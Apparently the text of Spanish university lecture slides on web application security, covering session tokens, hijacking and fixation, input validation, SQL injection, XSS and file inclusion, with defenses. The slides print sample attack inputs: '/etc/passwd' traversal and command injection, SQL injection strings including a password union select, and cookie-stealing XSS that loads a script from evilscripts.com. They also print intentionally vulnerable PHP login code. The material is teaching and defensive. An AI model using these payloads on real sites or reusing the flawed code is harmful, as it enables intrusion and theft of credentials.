  • 13. Indice de ataque ● Seguridad en WWW – Seguridad en la autenticación – Seguridad en la autorización – Ataques de validación de entrada – Cross-site scripting
  • 15. Authorization ● Usando sesiones en un sistema pensado para ser “sin estado” – El usuario se autentifica en una pagina – a continuación navega por el sitio usando los privilegios ganados – El sistema debe recordar que se autentifico ● ¿Como se sabe que la petición esta relacionada con la autenticación inicial? – Estoy enviando la autenticación cada vez? ● en Basic y Digest: SI – El cliente consigue algo que puede presentar cada vez como prueba de autenticación ● token Cliente Navegador Servidor Web user: pass: GET login page POST u+p ok welcome [comprar] GET compra ok
  • 16. Sesiones ● 3 formas de mantener tokens y sesiones – Variables de URI ● Se genera un identificador de sesión aleatorio y en los enlaces de esa sesión se pasa como variable de GET – Variables de formularios ocultas (y formularios con POST) ● Se genera un identificador de sesión aleatorio y en las páginas de esa sesión se añade una variable oculta a los formularios – Cookies ● Permiten almacenar una variable en el cliente que la enviará de vuelta cada vez que pida una página de ese servidor http://miweb.com/compras/index.php?session_id=1263716221 <input type=HIDDEN name=session_id value=1263716221>
  • 17. Sesiones: ejemplo ● Tokens – Identifican la sesión a la que pertenece la petición ● Autorización – Procesa las peticiones de los tokens establecidos user+pass+sid=1001 Cliente Navegador Servidor Web user: pass: welcome [comprar] welcome [comprar] Cliente Navegador sid=1001 sid=1001 sin sid user: pass: sid=3106 sid=3106 producto+sid=1001 sid=1001 sin sid user: pass:
  • 18. Sesiones: ejemplo en PHP ● Pagina sencilla con autenticación ● Si la sesión ya existe la variable $dentro nos dice si el usuario ya ha demostrado su identidad o no ● Si vienen datos user, pass de un formulario podemos cambiar el valor de $dentro o bien apuntar que debemos dar error de intento no valido ● Si la sesión no existía se generara un id y se guardara en una cookie PHPSESSID <?php session_start(); $dentro=$_SESSION['dentro']; $user=$_POST['user']; $pass=$_POST['pass']; if ( isset($user) ) { if ( $user=="yo" and $pass=="pas" ) { $dentro=1; $_SESSION['dentro']=$dentro; } else { $wronglogin=1; } } ?>
  • 19. Sesiones: ejemplo en PHP ● El contenido de la página depende de las variables ● ¿Qué problemas tiene esta página? <?php if ( $dentro == 1 ) { ?> <h1>Pagina privada</h1> No deberias ver esto sin tener la contraseña ... <?php } else { ?> <?php if ( $wronglogin==1 ) { echo "<h1 style="color: red;">Error usuario o contraseña incorrecto</h1>"; } ?> <h2>Demuestre su identidad</h2> <form method=POST action=./index.php> User:<br><input type=text name=user><br> Password:<br><input type=password name=pass> <br> <input type=submit name=s value="Enter"> </form> <?php } ?>
  • 21. Sending cookies ● Al pedir la primera vez la página anterior ● Al pedirla otra vez GET /login.php HTTP/1.1 Host: www.unavarra.es [...] HTTP/1.x 200 OK Set­Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Content­Length: 414 Content­Type: text/html [...] POST /login.php HTTP/1.1 Host: www.unavarra.es Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9 Content­Type: application/x­www­form­urlencoded Content­Length: 28 user=minombre&pass=unapalabra HTTP/1.x 200 OK Content­Length: 481 Content­Type: text/html [...]
  • 22. Ataques a los tokens ● Pero la cookie que se envía esta bajo el control del usuario – Navegadores que dejan editarlas – Si envío la cookie de la sesión de otro usuario me convierto en ese usuario ● Ataques – Session prediction ● ¿Puedo predecir qué tokens se estarán usando? – Session hijack ● secuestro de sesión ● ¿Puedo robar un token a un usuario autentificado? ● Session fixation – ¿Puedo imponer un token a un usuario? ● ¿Para qué me vale?
  • 23. Ataques a los tokens ● Session prediction – Recoger gran cantidad de tokens – Análisis estadístico.. ● ¿se puede preveer información sobre los siguientes? – Fuerza bruta sobre los tokens más probables hasta encontrar uno que haya sido asignado a un usuario y se haya autentificado ● Session hijack (secuestro de sesión) – Puedo robar un token a un usuario autentificado? ● Multiples técnicas. Basadas en web o con técnicas de intrusión Servidor Web token=1001 token=1001
  • 24. Ataques a los tokens ● Session fixation – Puedo imponer un token a un usuario? – Si consigo que un usuario abra la sesión con el token que yo quiera... Servidor Web token=1001 token=1001 autentificacion con token=1001
  • 25. Consejos para programar webs seguras ● Usar SSL / HTTPS – Marcar cookies como seguras hace que solo se transmitan a través de conexiones HTTPS ● No programar tu sistema de tokens – Es muy fácil cometer errores de protocolo – usar los proporcionados por librerías seguras ● usar sesiones de PHP en lugar de hacerlas yo mismo ● Regenerar las sesiones con los cambios de privilegios – Para evitar session fixation
  • 27. Input validation contra Web ● Ataques básicos – Canonicalization ● Añadir ../ para bajar directorios en una variable que acabara siendo utilizada para calcular un path ● Uso de caracteres urlencoded %00 %0a para partir cadenas ● Ejemplo: ${nombre}.jpg puede transformarse en ../../../../../../../etc/passwd %00.jpg – Provocar errores con valores inesperados en campos ● Información en los mensajes de error ● Ejecución de comandos con | & ; ● Si los datos acaban formando parte de un comando a ejecutar – Ejemplo: añadir ; cat /etc/passwd – SQL injection
  • 29. SQL injection ● Ataque de validación de entrada típico – Lo que escribo como usuario y pass en el formulario acabara en variables y se usara para construir una query a la BBDD ● Que ocurre si el usuario escribe cosas de este tipo – Usuario: 1' or '1'='1 – Pass: 1' or '1'='1 SELECT * FROM login WHERE user='1' OR '1'='1' AND pass='1' OR '1'='1'; $user = $_POST['user']; $pass = $_POST['password']; SELECT * FROM login WHERE user='$user' AND pass='$pass';
  • 30. ● Buscando el usuario… ● Cuidado con los fallos de seguridad de este código… – Si usáis este cualquiera podrá entrar $login_usuario_ok=false; if ($entrada_login) { $consulta_usuario="select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass."""; $result_usuario=mysql_query($consulta_usuario); if ( $result_usuario==false ) { print("error al buscar usuario".mysql_error()."n"); exit(); } if (mysql_num_rows($result_usuario)>0) { $mi_info=mysql_fetch_assoc($result_usuario); $login_usuario_ok=true; print_r($mi_info); } } Ejemplo: chat.php
  • 31. ● Que pasa si ponemos un usuario como este? ● La consulta devuelve todos los usuarios !!! ● Que hace el código anterior si la consulta devuelve todos los usuarios? simplemente usa el primero !! usuario: xxx” or “1”=“1 pass: xxx” or “1”=“1 SQL injection “select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass."" select * from Personas where nombre="xxx” or “1”=“1" and pass="xxx” or “1”=“1"
  • 32. ● Si lo que llega del usuario se supone que tiene que ser texto sin “ ‘ o caracteres raros, asegurare de eliminarlos – Con str_replace o similares – Con funciones de mysql que quitan los caracteres peligrosos ● mysql_real_escape_string() Recuerda siempre $i_nombre = mysql_real_escape_string( $i_nombre );
  • 33. ● Lo mismo ocurre en los campos de entrada ● Cuidado si el atacante sabe mas SQL que tu :-) $recibiendo_userid=false; if ( isset( $_GET["i_userid"] ) ) { $recibiendo_userid=true; $i_userid=$_GET["i_userid"]; } … $consulta="select * from Mensajes, Personas where Mensajes.src_nia=Personas.nia and Mensajes.src_nia=".$i_userid; Mas inyección SQL i_userid=52403 i_userid=52403+(select+2>1) i_userid=52403+union+select+pass+from+users;
  • 34. ● Si lo que llega del usuario se supone que tiene que ser un número conviértelo a número – Aunque venga de un menu Recuerda siempre $i_userid = intval($i_userid);
  • 35. SQL injection ● Más variedades – Poner caracteres con significados para SQL como ' " -- ; – pueden llegar a romper la query y conseguir cosas – A veces sólo con producir errores que den información de la base de datos ya es algo – Técnicas más sofisticadas que obtienen información incluso aunque no salgan resultados de la query en la pagina ● Blind SQL injection
  • 37. HTML injection XSS ● Insertar código HTML en variables que no esperan HTML, causando que un atacante tenga control sobre el dibujo de una página ajena ● Una página que repite la información proporcionada en un campo puede ser vulnerable ● ¿Qué ocurre si ponemos código HTML?
  • 38. HTML injection XSS ● Probamos – <img src=”...”></img> ● El HTML no se elimina y llega de vuelta – Dominando HTML se pueden llegar a hacer muchas modificaciones – Incluyendo añadir secciones con posicionamiento vía CSS que oculten otras partes de la pagina original
  • 39. HTML injection XSS ● Pero es más peligroso si incluimos Javascript – <script>… document.cookie ...</script>
  • 40. HTML injection XSS ● Inyectar en un campo – <script>document.write(document.cookie)</script> – <script>alert(‘hola’)</script> – <script src=”http://evilscripts.com/do.js”></script> – Cualquier cosa que se pueda hacer con javascript puede hacerse en la página de otro ● Hasta ahora solo hemos visto como modificar una página de otro vista en tu navegador. – ¿Como se puede usar esto para hacer el mal?
  • 41. HTML injection XSS ● Si los datos que metemos en un formulario pueden pasarse por GET... ● http://www.unavarra.es/webmail.php?user=<script>... – Puedo construir una pagina que enlace a otra metiendo datos que la modifiquen (cross-site scripting) ● Y no hablamos ya de cuando ese HTML es persistente – Foros – Weblogs – Redes sociales ● Ampliamente usado para ataques a las cookies: – Hotmail – Gmail – facebook ● Usado robos de identidad – consiguiendo que la página de una entidad haga algo diferente – El usuario confia porque ve claramente que es su banco ● XSS cross site scripting – Se refiere a cuando cargamos el código javascript de otra pagina
  • 43. File inclusion ● Y si dejo a un usuario subir un fichero para que lo sirva el servidor? – Parecido al HTML mirroring… ● Es peligroso? – ¡¡¡Nunca dejar al usuario subir ficheros y que elija el nombre!!! – PHP inclusion – PhpShell !!!
  • 45. Conclusiones ● Validación de formularios con javascript es inutil – Se puede hacer por ayudar al usuario pero el servidor debe volver a validarlo ● No dar por supuesto nada sobre los datos de entrada – Expect the unexpected ● Limpiar con expresiones regulares ● Asegurarse de que solo hay lo que queremos
  • 46. Conclusiones ● Asegurarse de que solo hay lo que queremos
  • 47. Conclusiones ● Gran variedad de ataques contra la web – Contra la autenticación y autorización – Contra los servidores que alojan las páginas – Contra otros usuarios de los servidores ● Es el frente más atacado – es fundamental comprender en que se basan para poder defenderse